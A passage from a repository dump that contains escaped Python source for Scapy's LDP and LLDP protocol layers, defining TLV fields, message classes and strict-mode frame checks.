x[3])\n        else:\n            s += b\"\\x00\\x00\\x00\\x00\"\n        if len(x) > 4:\n            s += struct.pack(\"!H\", x[4])\n        else:\n            s += b\"\\x00\\x00\"\n        return s\n\n    def getfield(self, pkt, s):\n        tmp_len = 14\n        return s[tmp_len:], self.m2i(pkt, s[:tmp_len])\n\n\n# 3.5.2 Common Hello Parameters TLV\nclass CommonHelloTLVField(StrField):\n    islist = 1\n\n    def m2i(self, pkt, x):\n        list = []\n        v = struct.unpack(\"!H\", x[4:6])[0]\n        list.append(v)\n        flags = orb(x[6])\n        v = (flags & 0x80) >> 7\n        list.append(v)\n        v = (flags & 0x40) >> 6\n        list.append(v)\n        return list\n\n    def i2m(self, pkt, x):\n        if isinstance(x, bytes):\n            return x\n        s = b\"\\x04\\x00\\x00\\x04\"\n        s += struct.pack(\"!H\", x[0])\n        byte = 0\n        if x[1] == 1:\n            byte += 0x80\n        if x[2] == 1:\n            byte += 0x40\n        s += struct.pack(\"!B\", byte)\n        s += b\"\\x00\"\n        return s\n\n    def getfield(self, pkt, s):\n        tmp_len = 8\n        return s[tmp_len:], self.m2i(pkt, s[:tmp_len])\n\n\n# 3.5.3 Common Session Parameters TLV\nclass CommonSessionTLVField(StrField):\n    islist = 1\n\n    def m2i(self, pkt, x):\n        lst = [struct.unpack(\"!H\", x[6:8])[0]]\n        octet = struct.unpack(\"B\", x[8:9])[0]\n        lst.append((octet & 2**7) >> 7)\n        lst.append((octet & 2**6) >> 6)\n        lst.append(struct.unpack(\"B\", x[9:10])[0])\n        lst.append(struct.unpack(\"!H\", x[10:12])[0])\n        lst.append(inet_ntoa(x[12:16]))\n        lst.append(struct.unpack(\"!H\", x[16:18])[0])\n        return lst\n\n    def i2m(self, pkt, x):\n        if isinstance(x, bytes):\n            return x\n        s = b\"\\x05\\x00\\x00\\x0E\\x00\\x01\"\n        s += struct.pack(\"!H\", x[0])\n        octet = 0\n        if x[1] != 0:\n            octet += 2**7\n        if x[2] != 0:\n            octet += 2**6\n        s += struct.pack(\"!B\", octet)\n        s += struct.pack(\"!B\", x[3])\n        s += struct.pack(\"!H\", x[4])\n        s += inet_aton(x[5])\n        s += struct.pack(\"!H\", x[6])\n        return s\n\n    def getfield(self, pkt, s):\n        tmp_len = 18\n        return s[tmp_len:], self.m2i(pkt, s[:tmp_len])\n\n\n#  Messages  #\n\n# 3.5.1. Notification Message\nclass LDPNotification(_LDP_Packet):\n    name = \"LDPNotification\"\n    fields_desc = [BitField(\"u\", 0, 1),\n                   BitField(\"type\", 0x0001, 15),\n                   ShortField(\"len\", None),\n                   IntField(\"id\", 0),\n                   StatusTLVField(\"status\", (0, 0, 0, 0, 0))]\n\n# 3.5.2. Hello Message\n\n\nclass LDPHello(_LDP_Packet):\n    name = \"LDPHello\"\n    fields_desc = [BitField(\"u\", 0, 1),\n                   BitField(\"type\", 0x0100, 15),\n                   ShortField(\"len\", None),\n                   IntField(\"id\", 0),\n                   CommonHelloTLVField(\"params\", [180, 0, 0])]\n\n# 3.5.3. Initialization Message\n\n\nclass LDPInit(_LDP_Packet):\n    name = \"LDPInit\"\n    fields_desc = [BitField(\"u\", 0, 1),\n                   XBitField(\"type\", 0x0200, 15),\n                   ShortField(\"len\", None),\n                   IntField(\"id\", 0),\n                   CommonSessionTLVField(\"params\", None)]\n\n# 3.5.4. KeepAlive Message\n\n\nclass LDPKeepAlive(_LDP_Packet):\n    name = \"LDPKeepAlive\"\n    fields_desc = [BitField(\"u\", 0, 1),\n                   XBitField(\"type\", 0x0201, 15),\n                   ShortField(\"len\", None),\n                   IntField(\"id\", 0)]\n\n# 3.5.5. Address Message\n\n\nclass LDPAddress(_LDP_Packet):\n    name = \"LDPAddress\"\n    fields_desc = [BitField(\"u\", 0, 1),\n                   XBitField(\"type\", 0x0300, 15),\n                   ShortField(\"len\", None),\n                   IntField(\"id\", 0),\n                   AddressTLVField(\"address\", None)]\n\n# 3.5.6. Address Withdraw Message\n\n\nclass LDPAddressWM(_LDP_Packet):\n    name = \"LDPAddressWM\"\n    fields_desc = [BitField(\"u\", 0, 1),\n                   XBitField(\"type\", 0x0301, 15),\n                   ShortField(\"len\", None),\n                   IntField(\"id\", 0),\n                   AddressTLVField(\"address\", None)]\n\n# 3.5.7. Label Mapping Message\n\n\nclass LDPLabelMM(_LDP_Packet):\n    name = \"LDPLabelMM\"\n    fields_desc = [BitField(\"u\", 0, 1),\n                   XBitField(\"type\", 0x0400, 15),\n                   ShortField(\"len\", None),\n                   IntField(\"id\", 0),\n                   MayEnd(FecTLVField(\"fec\", None)),\n                   LabelTLVField(\"label\", 0)]\n\n# 3.5.8. Label Request Message\n\n\nclass LDPLabelReqM(_LDP_Packet):\n    name = \"LDPLabelReqM\"\n    fields_desc = [BitField(\"u\", 0, 1),\n                   XBitField(\"type\", 0x0401, 15),\n                   ShortField(\"len\", None),\n                   IntField(\"id\", 0),\n                   FecTLVField(\"fec\", None)]\n\n# 3.5.9. Label Abort Request Message\n\n\nclass LDPLabelARM(_LDP_Packet):\n    name = \"LDPLabelARM\"\n    fields_desc = [BitField(\"u\", 0, 1),\n                   XBitField(\"type\", 0x0404, 15),\n                   ShortField(\"len\", None),\n                   IntField(\"id\", 0),\n                   FecTLVField(\"fec\", None),\n                   IntField(\"labelRMid\", 0)]\n\n# 3.5.10. Label Withdraw Message\n\n\nclass LDPLabelWM(_LDP_Packet):\n    name = \"LDPLabelWM\"\n    fields_desc = [BitField(\"u\", 0, 1),\n                   XBitField(\"type\", 0x0402, 15),\n                   ShortField(\"len\", None),\n                   IntField(\"id\", 0),\n                   MayEnd(FecTLVField(\"fec\", None)),\n                   LabelTLVField(\"label\", 0)]\n\n# 3.5.11. Label Release Message\n\n\nclass LDPLabelRelM(_LDP_Packet):\n    name = \"LDPLabelRelM\"\n    fields_desc = [BitField(\"u\", 0, 1),\n                   XBitField(\"type\", 0x0403, 15),\n                   ShortField(\"len\", None),\n                   IntField(\"id\", 0),\n                   FecTLVField(\"fec\", None),\n                   LabelTLVField(\"label\", 0)]\n\n# 3.1. LDP PDUs\n\n\nclass LDP(_LDP_Packet):\n    name = \"LDP\"\n    fields_desc = [ShortField(\"version\", 1),\n                   ShortField(\"len\", None),\n                   IPField(\"id\", \"127.0.0.1\"),\n                   ShortField(\"space\", 0)]\n\n    def post_build(self, p, pay):\n        pay = pay or b\"\"\n        if self.len is None:\n            tmp_len = len(p) + len(pay) - 4\n            p = p[:2] + struct.pack(\"!H\", tmp_len) + p[4:]\n        return p + pay\n\n\nbind_bottom_up(TCP, LDP, sport=646)\nbind_bottom_up(TCP, LDP, dport=646)\nbind_bottom_up(TCP, UDP, sport=646)\nbind_bottom_up(TCP, UDP, dport=646)\nbind_layers(TCP, LDP, sport=646, dport=646)\nbind_layers(UDP, LDP, sport=646, dport=646)\n"
  },
  {
    "path": "scapy/contrib/lldp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# scapy.contrib.description = Link Layer Discovery Protocol (LLDP)\n# scapy.contrib.status = loads\n\n\"\"\"\n    LLDP - Link Layer Discovery Protocol\n    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n    :author:    Thomas Tannhaeuser, hecke@naberius.de\n\n    :description:\n\n        This module provides Scapy layers for the LLDP protocol.\n\n        normative references:\n            - IEEE 802.1AB 2016 - LLDP protocol, topology and MIB description\n\n    :TODO:\n        - | organization specific TLV e.g. ProfiNet\n          | (see LLDPDUGenericOrganisationSpecific for a starting point)\n        - Ignore everything after EndofLLDPDUTLV\n\n    :NOTES:\n        - you can find the layer configuration options at the end of this file\n        - default configuration enforces standard conform:\n\n          * | frame structure\n            | (ChassisIDTLV/PortIDTLV/TimeToLiveTLV/...)\n          * multiplicity of TLVs (if given by the standard)\n          * min sizes of strings used by the TLVs\n\n        - conf.contribs['LLDP'].strict_mode_disable() -> disable strict mode\n\n\"\"\"\nfrom scapy.config import conf\nfrom scapy.error import Scapy_Exception\nfrom scapy.layers.l2 import Ether, Dot1Q\nfrom scapy.fields import MACField, IPField, IP6Field, BitField, \\\n    StrLenField, ByteEnumField, BitEnumField, \\\n    EnumField, ThreeBytesField, BitFieldLenField, \\\n    ShortField, XStrLenField, ByteField, ConditionalField, \\\n    MultipleTypeField, FlagsField, ShortEnumField, ScalingField, \\\n    BitScalingField\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.data import ETHER_TYPES\nfrom scapy.compat import orb, bytes_int\n\nLLDP_NEAREST_BRIDGE_MAC = '01:80:c2:00:00:0e'\nLLDP_NEAREST_NON_TPMR_BRIDGE_MAC = '01:80:c2:00:00:03'\nLLDP_NEAREST_CUSTOMER_BRIDGE_MAC = '01:80:c2:00:00:00'\n\nLLDP_ETHER_TYPE = 0x88cc\nETHER_TYPES[LLDP_ETHER_TYPE] = 'LLDP'\n\n\nclass LLDPInvalidFieldValue(Scapy_Exception):\n    \"\"\"\n    field value is out of allowed range\n    \"\"\"\n    pass\n\n\nclass LLDPInvalidFrameStructure(Scapy_Exception):\n    \"\"\"\n    basic frame structure not standard conform\n    (missing TLV, invalid order or multiplicity)\n    \"\"\"\n    pass\n\n\nclass LLDPMissingLowerLayer(Scapy_Exception):\n    \"\"\"\n    first layer below first LLDPDU must be Ethernet or Dot1q\n    \"\"\"\n    pass\n\n\nclass LLDPInvalidTLVCount(Scapy_Exception):\n    \"\"\"\n    invalid number of entries for a specific TLV type\n    \"\"\"\n    pass\n\n\nclass LLDPInvalidLengthField(Scapy_Exception):\n    \"\"\"\n    invalid value of length field\n    \"\"\"\n    pass\n\n\nclass LLDPDU(Packet):\n    \"\"\"\n    base class for all LLDP data units\n    \"\"\"\n    TYPES = {\n        0x00: 'end of LLDPDU',\n        0x01: 'chassis id',\n        0x02: 'port id',\n        0x03: 'time to live',\n        0x04: 'port description',\n        0x05: 'system name',\n        0x06: 'system description',\n        0x07: 'system capabilities',\n        0x08: 'management address',\n        127: 'organisation specific TLV'\n    }\n\n    IANA_ADDRESS_FAMILY_NUMBERS = {\n        0x00: 'other',\n        0x01: 'IPv4',\n        0x02: 'IPv6',\n        0x03: 'NSAP',\n        0x04: 'HDLC',\n        0x05: 'BBN',\n        0x06: '802',\n        0x07: 'E.163',\n        0x08: 'E.164',\n        0x09: 'F.69',\n        0x0a: 'X.121',\n        0x0b: 'IPX',\n        0x0c: 'Appletalk',\n        0x0d: 'Decnet IV',\n        0x0e: 'Banyan Vines',\n        0x0f: 'E.164 with NSAP',\n        0x10: 'DNS',\n        0x11: 'Distinguished Name',\n        0x12: 'AS Number',\n        0x13: 'XTP over IPv4',\n        0x14: 'XTP over IPv6',\n        0x15: 'XTP native mode XTP',\n        0x16: 'Fiber Channel World-Wide Port Name',\n        0x17: 'Fiber Channel World-Wide Node Name',\n        0x18: 'GWID',\n        0x19: 'AFI for L2VPN',\n        0x1a: 'MPLS-TP Section Endpoint ID',\n        0x1b: 'MPLS-TP LSP Endpoint ID',\n        0x1c: 'MPLS-TP Pseudowire Endpoint ID',\n        0x1d: 'MT IP Multi-Topology IPv4',\n        0x1e: 'MT IP Multi-Topology IPv6'\n    }\n\n    DOT1Q_HEADER_LEN = 4\n    ETHER_HEADER_LEN = 14\n    ETHER_FSC_LEN = 4\n    ETHER_FRAME_MIN_LEN = 64\n\n    LAYER_STACK = []\n    LAYER_MULTIPLICITIES = {}\n\n    def guess_payload_class(self, payload):\n        # type is a 7-bit bitfield spanning bits 1..7 -> div 2\n        try:\n            lldpdu_tlv_type = orb(payload[0]) // 2\n            class_type = LLDPDU_CLASS_TYPES.get(lldpdu_tlv_type, conf.raw_layer)\n            if isinstance(class_type, list):\n                for cls in class_type:\n                    if cls._match_organization_specific(payload):\n                        return cls\n            else:\n                return class_type\n        except IndexError:\n            return conf.raw_layer\n\n    @staticmethod\n    def _dot1q_headers_size(layer):\n        \"\"\"\n        calculate size of lower dot1q layers (if present)\n        :param layer: the layer to start at\n        :return: size of vlan headers, layer below lowest vlan header\n        \"\"\"\n\n        vlan_headers_size = 0\n        under_layer = layer\n\n        while under_layer and isinstance(under_layer, Dot1Q):\n            vlan_headers_size += LLDPDU.DOT1Q_HEADER_LEN\n            under_layer = under_layer.underlayer\n\n        return vlan_headers_size, under_layer\n\n    def post_build(self, pkt, pay):\n\n        under_layer = self.underlayer\n\n        if under_layer is None:\n            if conf.contribs['LLDP'].strict_mode():\n                raise LLDPMissingLowerLayer('No lower layer (Ethernet '\n                                            'or Dot1Q) provided.')\n            else:\n                return pkt + pay\n\n        if isinstance(under_layer, LLDPDU):\n            return pkt + pay\n\n        frame_size, under_layer = LLDPDU._dot1q_headers_size(under_layer)\n\n        if not under_layer or not isinstance(under_layer, Ether):\n            if conf.contribs['LLDP'].strict_mode():\n                raise LLDPMissingLowerLayer('No Ethernet layer provided.')\n            else:\n                return pkt + pay\n\n        frame_size += LLDPDU.ETHER_HEADER_LEN\n        frame_size += len(pkt) + len(pay) + LLDPDU.ETHER_FSC_LEN\n        if frame_size < LLDPDU.ETHER_FRAME_MIN_LEN:\n            return pkt + pay + b'\\x00' * (LLDPDU.ETHER_FRAME_MIN_LEN - frame_size)  # noqa: E501\n        return pkt + pay\n\n    @staticmethod\n    def _frame_structure_check(structure_description):\n        \"\"\"\n        check if the structure of the frame is conform to the basic\n        frame structure defined by the standard\n        :param structure_description: string-list reflecting LLDP-msg structure\n        \"\"\"\n\n        standard_frame_structure = [LLDPDUChassisID.__name__,\n                                    LLDPDUPortID.__name__,\n                                    LLDPDUTimeToLive.__name__,\n                                    '<...>']\n\n        if len(structure_description) < 3:\n            raise LLDPInvalidFrameStructure(\n                'Invalid frame structure.\\ngot: {}\\nexpected: '\n                '{}'.format(' '.join(structure_description),\n                            ' '.join(standard_frame_structure)))\n\n        for idx, layer_name in enumerate(standard_frame_structure):\n\n            if layer_name == '<...>':\n                break\n            if layer_name != structure_description[idx]:\n                raise LLDPInvalidFrameStructure(\n                    'Invalid frame structure.\\ngot: {}\\nexpected: '\n                    '{}'.format(' '.join(structure_description),\n                                ' '.join(standard_frame_structure)))\n\n    @staticmethod\n    def _tlv_multiplicities_check(tlv_type_count):\n        \"\"\"\n        check if multiplicity of present TLVs conforms to the standard\n        :param tlv_type_count: dict containing counte-per-TLV\n        \"\"\"\n\n        # * : 0..n, 1 : one and only one.\n        standard_multiplicities = {\n            LLDPDUEndOfLLDPDU.__name__: '*',\n            LLDPDUChassisID.__name__: 1,\n            LLDPDUPortID.__name__: 1,\n            LLDPDUTimeToLive.__name__: 1,\n            LLDPDUPortDescription: '*',\n            LLDPDUSystemName: '*',\n            LLDPDUSystemDescription: '*',\n            LLDPDUSystemCapabilities: '*',\n            LLDPDUManagementAddress: '*'\n        }\n\n        for tlv_type_name in standard_multiplicities:\n\n            standard_tlv_multiplicity = \\\n                standard_multiplicities[tlv_type_name]\n            if standard_tlv_multiplicity == '*':\n                continue\n\n            try:\n                if tlv_type_count[tlv_type_name] != standard_tlv_multiplicity:\n                    raise LLDPInvalidTLVCount(\n                        'Invalid number of entries for TLV type '\n                        '{} - expected {} entries, got '\n                        '{}'.format(tlv_type_name,\n                                    standard_tlv_multiplicity,\n                                    tlv_type_count[tlv_type_name]))\n\n            except KeyError:\n                raise LLDPInvalidTLVCount('Missing TLV layer of type '\n                                          '{}.'.format(tlv_type_name))\n\n    def pre_dissect(self, s):\n\n        if conf.contribs['LLDP'].strict_mode():\n            if self.__class__.__name__ == 'LLDPDU':\n                LLDPDU.LAYER_STACK = []\n                LLDPDU.LAYER_MULTIPLICITIES = {}\n            else:\n                LLDPDU.LAYER_STACK.append(self.__class__.__name__)\n                try:\n                    LLDPDU.LAYER_MULTIPLICITIES[self.__class__.__name__] += 1\n                except KeyError:\n                    LLDPDU.LAYER_MULTIPLICITIES[self.__class__.__name__] = 1\n\n        return s\n\n    def dissection_done(self, pkt):\n\n        if self.__class__.__name__ == 'LLDPDU' and \\\n                conf.contribs['LLDP'].strict_mode():\n            LLDPDU._frame_structure_check(LLDPDU.LAYER_STACK)\n            LLDPDU._tlv_multiplicities_check(LLDPDU.LAYER_MULTIPLICITIES)\n\n        super(LLDPDU, self).dissection_done(pkt)\n\n    def _check(self):\n        \"\"\"Overwritten by LLDPU objects\"\"\"\n        pass\n\n    def post_dissect(self, s):\n        self._check()\n        return super(LLDPDU, self).post_dissect(s)\n\n    def do_build(self):\n        self._check()\n        return super(LLDPDU, self).do_build()\n\n\ndef _ldp_id_adjustlen(pkt, x):\n    \"\"\"Return the length of the `id` field,\n    according to its real encoded type\"\"\"\n    f, v = pkt.getfield_and_val('id')\n    length = f.i2len(pkt, v) + 1\n    if (isinstance(pkt, LLDPDUPortID) and pkt.subtype == 0x4) or \\\n            (isinstance(pkt, LLDPDUChassisID) and pkt.subtype == 0x5):\n        # Take the ConditionalField into account\n        length += 1\n    return length\n\n\ndef _ldp_id_lengthfrom(pkt):\n    length = pkt._length\n    if length is None:\n        return 0\n    # Subtract the subtype field\n    length -= 1\n    if (isinstance(pkt, LLDPDUPortID) and pkt.subtype == 0x4) or \\\n            (isinstance(pkt, LLDPDUChassisID) and pkt.subtype == 0x5):\n        # Take the ConditionalField into account\n        length -= 1\n    return length\n\n\nclass LLDPDUChassisID(LLDPDU):\n    \"\"\"\n        ieee 802.1ab-2016 - sec. 8.5.2 / p. 26\n    \"\"\"\n    LLDP_CHASSIS_ID_TLV_SUBTYPES = {\n        0x00: 'reserved',\n        0x01: 'chassis component',\n        0x02: 'interface alias',\n        0x03: 'port component',\n        0x04: 'MAC address',\n        0x05: 'network address',\n        0x06: 'interface name',\n        0x07: 'locally assigned',\n    }\n\n    SUBTYPE_RESERVED = 0x00\n    SUBTYPE_CHASSIS_COMPONENT = 0x01\n    SUBTYPE_INTERFACE_ALIAS = 0x02\n    SUBTYPE_PORT_COMPONENT = 0x03\n    SUBTYPE_MAC_ADDRESS = 0x04\n    SUBTYPE_NETWORK_ADDRESS = 0x05\n    SUBTYPE_INTERFACE_NAME = 0x06\n    SUBTYPE_LOCALLY_ASSIGNED = 0x07\n\n    fields_desc = [\n        BitEnumField('_type', 0x01, 7, LLDPDU.TYPES),\n        BitFieldLenField('_length', None, 9, length_of='id',\n                         adjust=lambda pkt, x: _ldp_id_adjustlen(pkt, x)),\n        ByteEnumField('subtype', 0x00, LLDP_CHASSIS_ID_TLV_SUBTYPES),\n        ConditionalField(\n            ByteEnumField('family', 0, LLDPDU.IANA_ADDRESS_FAMILY_NUMBERS),\n            lambda pkt: pkt.subtype == 0x05\n        ),\n        MultipleTypeField([\n            (\n                MACField('id', None),\n                lambda pkt: pkt.subtype == 0x04\n            ),\n            (\n                IPField('id', None),\n                lambda pkt: pkt.subtype == 0x05 and pkt.family == 0x01\n            ),\n            (\n                IP6Field('id', None),\n                lambda pkt: pkt.subtype == 0x05 and pkt.family == 0x02\n            ),\n        ], StrLenField('id', '', length_from=_ldp_id_lengthfrom)\n        )\n    ]\n\n    def _check(self):\n        \"\"\"\n        run layer specific checks\n        \"\"\"\n        if conf.contribs['LLDP'].strict_mode() and not self.id:\n            raise LLDPInvalidLengthField('id must be >= 1 characters long')\n\n\nclass LLDPDUPortID(LLDPDU):\n    \"\"\"\n        ieee 802.1ab-2016 - sec. 8.5.3 / p. 26\n    \"\"\"\n    LLDP_PORT_ID_TLV_SUBTYPES = {\n        0x00: 'reserved',\n        0x01: 'interface alias',\n        0x02: 'port component',\n        0x03: 'MAC address',\n        0x04: 'network address',\n        0x05: 'interface name',\n        0x06: 'agent circuit ID',\n        0x07: 'locally assigned',\n    }\n\n    SUBTYPE_RESERVED = 0x00\n    SUBTYPE_INTERFACE_ALIAS = 0x01\n    SUBTYPE_PORT_COMPONENT = 0x02\n    SUBTYPE_MAC_ADDRESS = 0x03\n    SUBTYPE_NETWORK_ADDRESS = 0x04\n    SUBTYPE_INTERFACE_NAME = 0x05\n    SUBTYPE_AGENT_CIRCUIT_ID = 0x06\n    SUBTYPE_LOCALLY_ASSIGNED = 0x07\n\n    fields_desc = [\n        BitEnumField('_type', 0x02, 7, LLDPDU.TYPES),\n        BitFieldLenField('_length', None, 9, length_of='id',\n                         adjust=lambda pkt, x: _ldp_id_adjustlen(pkt, x)),\n        ByteEnumField('subtype', 0x00, LLDP_PORT_ID_TLV_SUBTYPES),\n        ConditionalField(\n            ByteEnumField('family', 0, LLDPDU.IANA_ADDRESS_FAMILY_NUMBERS),\n            lambda pkt: pkt.subtype == 0x04\n        ),\n        MultipleTypeField([\n            (\n                MACField('id', None),\n                lambda pkt: pkt.subtype == 0x03\n            ),\n            (\n                IPField('id', None),\n                lambda pkt: pkt.subtype == 0x04 and pkt.family == 0x01\n            ),\n            (\n                IP6Field('id', None),\n                lambda pkt: pkt.subtype == 0x04 and pkt.family == 0x02\n            ),\n        ], StrLenField('id', '', length_from=_ldp_id_lengthfrom)\n        )\n    ]\n\n    def _check(self):\n        \"\"\"\n        run layer specific checks\n        \"\"\"\n        if conf.contribs['LLDP'].strict_mode() and not self.id:\n            raise LLDPInvalidLengthField('id must be >= 1 characters long')\n\n\nclass LLDPDUTimeToLive(LLDPDU):\n    \"\"\"\n        ieee 802.1ab-2016 - sec. 8.5.4 / p. 29\n    \"\"\"\n    fields_desc = [\n        BitEnumField('_type', 0x03, 7, LLDPDU.TYPES),\n        BitField('_length', 0x02, 9),\n        ShortField('ttl', 20)\n    ]\n\n    def _check(self):\n        \"\"\"\n        run layer specific checks\n        \"\"\"\n        if conf.contribs['LLDP'].strict_mode() and self._length != 2:\n            raise LLDPInvalidLengthField('length must be 2 - got '\n                                         '{}'.format(self._length))\n\n\nclass LLDPDUEndOfLLDPDU(LLDPDU):\n    \"\"\"\n        ieee 802.1ab-2016 - sec. 8.5.1 / p. 26\n    \"\"\"\n    fields_desc = [\n        BitEnumField('_type', 0x00, 7, LLDPDU.TYPES),\n        BitField('_length', 0x00, 9),\n    ]\n\n    def extract_padding(self, s):\n        return '', s\n\n    def _check(self):\n        \"\"\"\n        run layer specific checks\n        \"\"\"\n        if conf.contribs['LLDP'].strict_mode() and self._length != 0:\n            raise LLDPInvalidLengthField('length must be 0 - got '\n                                         '{}'.format(self._length))\n\n\nclass LLDPDUPortDescription(LLDPDU):\n    \"\"\"\n        ieee 802.1ab-2016 - sec. 8.5.5 / p. 29\n    \"\"\"\n    fields_desc = [\n        BitEnumField('_type', 0x04, 7, LLDPDU.TYPES),\n        BitFieldLenField('_length', None, 9, length_of='description'),\n        StrLenField('description', '', length_from=lambda pkt: pkt._length)\n    ]\n\n\nclass LLDPDUSystemName(LLDPDU):\n    \"\"\"\n        ieee 802.1ab-2016 - sec. 8.5.6 / p. 30\n    \"\"\"\n    fields_desc = [\n        BitEnumField('_type', 0x05, 7, LLDPDU.TYPES),\n        BitFieldLenField('_length', None, 9, length_of='system_name'),\n        StrLenField('system_name', '', length_from=lambda pkt: pkt._length)\n    ]\n\n\nclass LLDPDUSystemDescription(LLDPDU):\n    \"\"\"\n        ieee 802.1ab-2016 - sec. 8.5.7 / p. 31\n    \"\"\"\n    fields_desc = [\n        BitEnumField('_type', 0x06, 7, LLDPDU.TYPES),\n        BitFieldLenField('_length', None, 9, length_of='description'),\n        StrLenField('description', '', length_from=lambda pkt: pkt._length)\n    ]\n\n\nclass LLDPDUSystemCapabilities(LLDPDU):\n    \"\"\"\n        ieee 802.1ab-2016 - sec. 8.5.8 / p. 31\n    \"\"\"\n    fields_desc = [\n        BitEnumField('_type', 0x07, 7, LLDPDU.TYPES),\n        BitFieldLenField('_length', 4, 9),\n        BitField('reserved_5_available', 0, 1),\n        BitField('reserved_4_available', 0, 1),\n        BitField('reserved_3_available', 0, 1),\n        BitField('reserved_2_available', 0, 1),\n        BitField('reserved_1_available', 0, 1),\n        BitField('two_port_mac_relay_available', 0, 1),\n        BitField('s_vlan_component_available', 0, 1),\n        BitField('c_vlan_component_available', 0, 1),\n        BitField('station_only_available', 0, 1),\n        BitField('docsis_cable_device_available', 0, 1),\n        BitField('telephone_available', 0, 1),\n        BitField('router_available', 0, 1),\n        BitField('wlan_access_point_available', 0, 1),\n        BitField('mac_bridge_available', 0, 1),\n        BitField('repeater_available', 0, 1),\n        BitField('other_available', 0, 1),\n        BitField('reserved_5_enabled', 0, 1),\n        BitField('reserved_4_enabled', 0, 1),\n        BitField('reserved_3_enabled', 0, 1),\n        BitField('reserved_2_enabled', 0, 1),\n        BitField('reserved_1_enabled', 0, 1),\n        BitField('two_port_mac_relay_enabled', 0, 1),\n        BitField('s_vlan_component_enabled', 0, 1),\n        BitField('c_vlan_component_enabled', 0, 1),\n        BitField('station_only_enabled', 0, 1),\n        BitField('docsis_cable_device_enabled', 0, 1),\n        BitField('telephone_enabled', 0, 1),\n        BitField('router_enabled', 0, 1),\n        BitField('wlan_access_point_enabled', 0, 1),\n        BitField('mac_bridge_enabled', 0, 1),\n        BitField('repeater_enabled', 0, 1),\n        BitField('other_enabled', 0, 1),\n    ]\n\n    def _check(self):\n        \"\"\"\n        run layer specific checks\n        \"\"\"\n        if conf.contribs['LLDP'].strict_mode() and self._length != 4:\n            raise LLDPInvalidLengthField('length must be 4 - got '\n                                         '{}'.format(self._length))\n\n\nclass LLDPDUManagementAddress(LLDPDU):\n    \"\"\"\n    ieee 802.1ab-2016 - sec. 8.5.9 / p. 32\n\n    currently only 0x00..0x1e are used by standards, no way to\n    use anything > 0xff as management address subtype is only\n    one octet wide\n\n    see https://www.iana.org/assignments/address-family-numbers/address-family-numbers.xhtml  # noqa: E501\n    \"\"\"\n\n    SUBTYPE_MANAGEMENT_ADDRESS_OTHER = 0x00\n    SUBTYPE_MANAGEMENT_ADDRESS_IPV4 = 0x01\n    SUBTYPE_MANAGEMENT_ADDRESS_IPV6 = 0x02\n    SUBTYPE_MANAGEMENT_ADDRESS_NSAP = 0x03\n    SUBTYPE_MANAGEMENT_ADDRESS_HDLC = 0x04\n    SUBTYPE_MANAGEMENT_ADDRESS_BBN = 0x05\n    SUBTYPE_MANAGEMENT_ADDRESS_802 = 0x06\n    SUBTYPE_MANAGEMENT_ADDRESS_E_163 = 0x07\n    SUBTYPE_MANAGEMENT_ADDRESS_E_164 = 0x08\n    SUBTYPE_MANAGEMENT_ADDRESS_F_69 = 0x09\n    SUBTYPE_MANAGEMENT_ADDRESS_X_121 = 0x0A\n    SUBTYPE_MANAGEMENT_ADDRESS_IPX = 0x0B\n    SUBTYPE_MANAGEMENT_ADDRESS_APPLETALK = 0x0C\n    SUBTYPE_MANAGEMENT_ADDRESS_DECNET_IV = 0x0D\n    SUBTYPE_MANAGEMENT_ADDRESS_BANYAN_VINES = 0x0E\n    SUBTYPE_MANAGEMENT_ADDRESS_E_164_WITH_NSAP = 0x0F\n    SUBTYPE_MANAGEMENT_ADDRESS_DNS = 0x10\n    SUBTYPE_MANAGEMENT_ADDRESS_DISTINGUISHED_NAME = 0x11\n    SUBTYPE_MANAGEMENT_ADDRESS_AS_NUMBER = 0x12\n    SUBTYPE_MANAGEMENT_ADDRESS_XTP_OVER_IPV4 = 0x13\n    SUBTYPE_MANAGEMENT_ADDRESS_XTP_OVER_IPV6 = 0x14\n    SUBTYPE_MANAGEMENT_ADDRESS_XTP_NATIVE_MODE_XTP = 0x15\n    SUBTYPE_MANAGEMENT_ADDRESS_FIBER_CHANNEL_WORLD_WIDE_PORT_NAME = 0x16\n    SUBTYPE_MANAGEMENT_ADDRESS_FIBER_CHANNEL_WORLD_WIDE_NODE_NAME = 0x17\n    SUBTYPE_MANAGEMENT_ADDRESS_GWID = 0x18\n    SUBTYPE_MANAGEMENT_ADDRESS_AFI_FOR_L2VPN = 0x19\n    SUBTYPE_MANAGEMENT_ADDRESS_MPLS_TP_SECTION_ENDPOINT_ID = 0x1A\n    SUBTYPE_MANAGEMENT_ADDRESS_MPLS_TP_LSP_ENDPOINT_ID = 0x1B\n    SUBTYPE_MANAGEMENT_ADDRESS_MPLS_TP_PSEUDOWIRE_ENDPOINT_ID = 0x1C\n    SUBTYPE_MANAGEMENT_ADDRESS_MT_IP_MULTI_TOPOLOGY_IPV4 = 0x1D\n    SUBTYPE_MANAGEMENT_ADDRESS_MT_IP_MULTI_TOPOLOGY_IPV6 = 0x1E\n\n    INTERFACE_NUMBERING_SUBTYPES = {\n        0x01: 'unknown',\n        0x02: 'ifIndex',\n        0x03: 'system port number'\n    }\n\n    SUBTYPE_INTERFACE_NUMBER_UNKNOWN = 0x01\n    SUBTYPE_INTERFACE_NUMBER_IF_INDEX = 0x02\n    SUBTYPE_INTERFACE_NUMBER_SYSTEM_PORT_NUMBER = 0x03\n\n    '''\n    Note - calculation of _length field::\n\n        _length = 1@_management_address_string_length +\n                  1@management_address_subtype +\n                  management_address.len +\n                  1@interface_numbering_subtype +\n                  4@interface_number +\n                  1@_oid_string_length +\n                  object_id.len\n    '''\n\n    fields_desc = [\n        BitEnumField('_type', 0x08, 7, LLDPDU.TYPES),\n        BitFieldLenField('_length', None, 9, length_of='management_address',\n                         adjust=lambda pkt, x:\n                         8 + len(pkt.management_address) + len(pkt.object_id)),\n        BitFieldLenField('_management_address_string_length', None, 8,\n                         length_of='management_address',\n                         adjust=lambda pkt, x: len(pkt.management_address) + 1),  # noqa: E501\n        ByteEnumField('management_address_subtype', 0x00,\n                      LLDPDU.IANA_ADDRESS_FAMILY_NUMBERS),\n        XStrLenField('management_address', '',\n                     length_from=lambda pkt: 0\n                     if pkt._management_address_string_length is None else\n                     pkt._management_address_string_length - 1),\n        ByteEnumField('interface_numbering_subtype',\n                      SUBTYPE_INTERFACE_NUMBER_UNKNOWN,\n                      INTERFACE_NUMBERING_SUBTYPES),\n        BitField('interface_number', 0, 32),\n        